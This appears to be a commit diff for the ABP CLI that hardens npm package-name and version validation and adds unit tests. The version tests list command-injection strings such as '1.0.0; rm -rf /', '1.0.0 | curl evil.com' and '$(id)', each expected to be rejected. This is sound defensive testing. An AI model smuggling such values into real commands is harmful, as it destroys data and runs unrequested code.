Tighten version regex, centralize package name validation, handle null, and add version tests

framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs

@@ -3,7 +3,6 @@ using System.Collections.Concurrent;
 using System.Collections.Generic;
 using System.IO;
 using System.Linq;
-using System.Text.RegularExpressions;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
 using Microsoft.Extensions.Logging.Abstractions;
@@ -379,13 +378,17 @@ public class NpmPackagesUpdater : ITransientDependency
         return abpPackages;
     }
 
-    private static readonly Regex ValidNpmPackageNameRegex = new(
-        @"^@[a-zA-Z0-9][a-zA-Z0-9._-]*/[a-zA-Z0-9][a-zA-Z0-9._-]*$",
-        RegexOptions.Compiled);
-
     public static bool IsValidNpmPackageName(string packageName)
     {
-        return ValidNpmPackageNameRegex.IsMatch(packageName);
+        try
+        {
+            NpmHelper.EnsureSafePackageName(packageName);
+            return true;
+        }
+        catch
+        {
+            return false;
+        }
     }
 
     protected virtual async Task RunInstallLibsAsync(string fileDirectory)

framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs

@@ -85,12 +85,12 @@ public class NpmHelper : ITransientDependency
         RegexOptions.Compiled);
 
     private static readonly Regex SafeVersionRegex = new(
-        @"^[a-zA-Z0-9._~^><=|\-+]+$",
+        @"^[a-zA-Z0-9._~^+\-]+$",
         RegexOptions.Compiled);
 
     public static void EnsureSafePackageName(string packageName)
     {
-        if (!SafePackageNameRegex.IsMatch(packageName))
+        if (string.IsNullOrWhiteSpace(packageName) || !SafePackageNameRegex.IsMatch(packageName))
         {
             throw new CliUsageException($"Invalid npm package name detected: {SanitizeForLog(packageName)}");
         }
@@ -106,6 +106,11 @@ public class NpmHelper : ITransientDependency
 
     public static string SanitizeForLog(string value)
     {
+        if (value == null)
+        {
+            return "(null)";
+        }
+
         return Regex.Replace(value, @"[\x00-\x1F\x7F]", "?");
     }
 

framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs

@@ -1,5 +1,6 @@
 using Shouldly;
 using Volo.Abp.Cli.ProjectModification;
+using Volo.Abp.Cli.Utils;
 using Xunit;
 
 namespace Volo.Abp.Cli;
@@ -22,8 +23,42 @@ public class NpmPackagesUpdater_Tests
     [InlineData("@abp/ space", false)]
     [InlineData("@abp/", false)]
     [InlineData("@abp/ng core", false)]
+    [InlineData(null, false)]
+    [InlineData("", false)]
     public void IsValidNpmPackageName(string packageName, bool expected)
     {
         NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected);
     }
+
+    [Theory]
+    [InlineData("1.0.0", false)]
+    [InlineData("^8.0.0", false)]
+    [InlineData("~8.0.0", false)]
+    [InlineData("8.0.0-preview.1", false)]
+    [InlineData("8.0.0-preview20260401", false)]
+    [InlineData("8.0.0+build.123", false)]
+    [InlineData("latest", false)]
+    [InlineData("next", false)]
+    [InlineData(null, false)]
+    [InlineData("", false)]
+    [InlineData("1.0.0 && calc.exe", true)]
+    [InlineData("1.0.0; rm -rf /", true)]
+    [InlineData("1.0.0 | curl evil.com", true)]
+    [InlineData("1.0.0`whoami`", true)]
+    [InlineData("1.0.0$(id)", true)]
+    [InlineData("1.0.0\nnewline", true)]
+    [InlineData(">1.0.0", true)]
+    [InlineData("<2.0.0", true)]
+    [InlineData("1.0.0|2.0.0", true)]
+    public void EnsureSafeVersion(string version, bool shouldThrow)
+    {
+        if (shouldThrow)
+        {
+            Should.Throw<CliUsageException>(() => NpmHelper.EnsureSafeVersion(version));
+        }
+        else
+        {
+            Should.NotThrow(() => NpmHelper.EnsureSafeVersion(version));
+        }
+    }
 }